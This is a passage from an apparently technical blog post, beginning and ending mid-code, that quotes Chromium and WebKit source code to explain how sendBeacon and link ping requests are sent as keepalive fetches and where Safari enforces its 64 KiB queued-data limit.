punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It first checks for CSP violations. If there are none, it sends a keepalive request and returns whether it was successful.</p><p>It is worth noting that in the same file, there is another function that does something similar, called <code>PingLoader::SendLinkAuditPing</code>. There is an attribute called <code>ping</code> on the <code>&lt;a&gt;</code> tag, and when the user clicks the link, the browser sends a request to the location specified by the ping:</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is also implemented using a keepalive fetch:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="implementation-of-sendbeacon-in-safari">Implementation of sendBeacon in Safari</span></h3><p>The implementation in Safari can be found at <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon&#x2F;NavigatorBeacon.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>You can see that the entire process is quite similar to Chromium. It first checks the validity of the URL, then checks CSP, and then sends a keepalive request.</p><p>This echoes what we mentioned earlier and what is written in the specifications: the underlying sendBeacon is essentially a keepalive fetch. So where is the source code for when the keepalive queue size exceeds the limit?</p><p>From the implementation, it can be seen that if the queue size exceeds, it is likely that this segment is where the error occurs, because only here will it return false:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Therefore, we can trace down to <code>requestBeaconResource</code>. Additionally, we can also trace the source code from another direction.</p><p>Do you remember the example that sent a string of length 10000 eight times? In Chrome, you will only see the request become pending, but in Safari, a helpful message will appear:</p><blockquote><p>Beacon API cannot load <a href="https://httpstat.us/200?log7">https://httpstat.us/200?log7</a>. Reached maximum amount of queued data of 64Kb for keepalive requests</p></blockquote><p>You can directly use this error message to find the relevant source code at <a href="https://github.com/WebKit/WebKit/blob//WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/CachedResource.cpp#L249">WebKit&#x2F;Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;CachedResource.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">if</span> <span class="token punctuation">(</span>    m_options<span class="token punctuation">.</span>keepAlive <span class="token operator">&amp;&amp;</span> <span class="token function">type</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> Type<span class="token double-colon punctuation">::</span>Ping <span class="token operator">&amp;&amp;</span>    <span class="token operator">!</span>cachedResourceLoader<span class="token punctuation">.</span><span class="token function">keepaliveRequestTracker</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span>  <span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setResourceError</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      errorDomainWebKitInternal<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> request<span class="token punctuation">.</span><span class="token function">url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token string">"Reached maximum amount of queued data of 64Kb for keepalive requests"</span>_s<span class="token punctuation">,</span>      ResourceError<span class="token double-colon punctuation">::</span>Type<span class="token double-colon punctuation">::</span>AccessControl    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">failBeforeStarting</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>If it is a keepalive, and the type is not ping (the type of sendBeacon will be <code>Type::Beacon</code>), and there is no way to register a new request, then this error is returned.</p><p>Therefore, the key point is the method <code>keepaliveRequestTracker().tryRegisterRequest</code>, located in <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/loader/cache/KeepaliveRequestTracker.cpp">Source&#x2F;WebCore&#x2F;loader&#x2F;cache&#x2F;KeepaliveRequestTracker.cpp</a>:</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">const</span> <span class="token keyword">uint64_t</span> maxInflightKeepaliveBytes <span class="token punctuation">&#123;</span> <span class="token number">65536</span> <span class="token punctuation">&#125;</span><span class="token punctuation">;</span> <span class="token comment">// 64 kibibytes as per Fetch specification.</span><span class="token keyword">bool</span> <span class="token class-name">KeepaliveRequestTracker</span><span class="token double-colon punctuation">::</span><span class="token function">tryRegisterRequest</span><span class="token punctuation">(</span>CachedResource<span class="token operator">&amp;</span> resource<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span>resource<span class="token punctuation">.</span><span class="token function">options</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>keepAlive<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">auto</span> body <span class="token operator">=</span> resource<span class="token punctuation">.</span><span class="token function">resourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">httpBody</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>body<span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token keyword">uint64_t</span> 